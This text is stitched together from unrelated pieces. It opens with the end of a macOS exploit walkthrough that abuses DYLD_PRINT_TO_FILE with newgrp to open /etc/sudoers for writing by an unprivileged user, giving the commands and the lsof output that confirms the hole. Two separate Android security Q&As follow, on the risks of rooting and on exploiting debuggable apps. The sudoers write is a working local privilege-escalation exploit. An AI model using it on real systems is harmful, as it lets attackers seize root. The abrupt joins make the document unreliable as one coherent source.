COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF      NODE NAME
[...]
zsh     2405  bob    0u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    1u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    2u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    5                                   (revoked)
[...]

But due to the lack of closing 3 in the dynamic loader:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$

beware: here the absence of error message means the echo worked.
and moreover lsof shows the hole (line 3w, which means file descriptor 3
opened with write access):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF       NODE NAME
[...]
zsh     2430  bob    0u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    1u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    2u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    3w   REG    1,7      1293 2034681610 /private/etc/sudoers
zsh     2430  bob    5                                    (revoked)
[...]

will let newgrp write on /etc/sudoers file were it should never had occured.

Warning

If you try this example, don't forget to clean your /etc/sudoers afterward,
even if this example is harmless.
Its last line contains now #comment.


Security implications of android rooting I know this question has been asked many times, but I didn't see a clear answer to it from security experts, or it is from several years ago and things might have changed.

My question is double:

first of all, nowadays, how does the process of rooting an android phone work (please detail if there are various alternatives) ? Does it rely on a security hole, or is it a kind of attack (such as physical access to the device) that is not part of the security perimeter of android ? In the first case, why is it that it's not fixed, as there are open bounties for the android system ?
Note that I'm just talking about the android system itself (such as a Nexus Phone), with the latest patches.
Second related question: What would be the security risk of rooting an android phone ? If I am not mistaken, these could be grouped in at least two issues: the rooting process itself, and the aftermath.

a. Regarding the rooting process, is there any open source procedure (or at least closely reviewed) to root a nexus phone that could guarantee that there's no malware installed in the process ? (see also first question)

b. From what I understand, having a rooted android is no different than having a linux OS with a root account. Are there any (free, open source?) apps that can monitor (what commands have been launched, etc) and prevent apps from getting access to the root account without my agreement ? (so that it is linux OS where any account that requires root privileges must go through 'sudo' and ask the user to enter their password).

I will confine my answers to Nexus phones.

I have rooted my Nexus phone. I am sure that rooting will work on new Nexus phones. ( Samsung phones can also be rooted)

Rooting does not rely on any particular security hole. The broad idea is to be able to execute commands as a root user (as like in the linux system).
Rooting a phone in itself cannot be termed as an attack; But the catch is if someone steals a phone and then tries to root it, it can be a problem. Nexus phones will be wiped completely during the rooting process.

Regarding the security risks for running apps on rooted phones.
A very simplistic example would be, if an application caches an authenticated session cookie (or password) in an area in the phone that cannot be generally accessed by the user (on non rooted phones), then it can be accessed on rooted phones. (Loosing a rooted phone can lead to password theft or cookie theft quite easily)

A not so simplistic example would be an attacker trying to run an application on a rooted phone and using maybe IP tables on the android phone to redirect traffic to a proxy (for an application that cannot be generally proxyed).

To protect against these kind of threats, applications employ root protection mechanisms that results in applications not running on rooted phones or running in a restricted manner on rooted phones.

There are counter applications that try to hide root capability to bypass root detection defense mechanism. They work at times.

But a really skilled attacker can go upto the level of modifying the source code of the apk and using modified version of the application to suite his purpose.

Hence the best way for an application is to not rely on the client side for protecting sensitive data or on the integrity of the data received ( the source code or the assumption that the application will not work on a rooted phone)

To root the phone, i had used this as a guideline and it had worked for me.
http://www.ibtimes.co.uk/root-nexus-5-nexus-7-2012-wi-fi-android-5-1-lmy47d-lollipop-firmware-1491474

You can use the superuser application on to manage the other applications with root access. So if an application is requesting root access, you will have to explicitly allow it via the super user application.
https://play.google.com/store/apps/details?id=eu.chainfire.supersu

I am not sure if this has answered your questions completely
Do let me know if you have any queries, and i shall try to answer.


Is a debuggable android application exploitable from another application? I know that if an application set debuggable to true in the manifest a user with physical access can debug the application and get access to the private directory of the debuggable application.

But is it possible from another installed app to exploit the debuggable application or is it only exploitable with physical access ?

Thank you.

Probably not.

First let me clarify "physical access" that you mention. It's adb shell (which can be accessible over TCP as well, if configured so; but normally it requires access to USB, and physical user to use touch screen), and for debuggable apps, one can use run-as to change their UID to that of the app (and do anything as if they were an app). run-as is limited to root and shell GID, so plain apps should not have access to it.

There might be mechanisms similar to run-as, but one would expect similar security restrictions.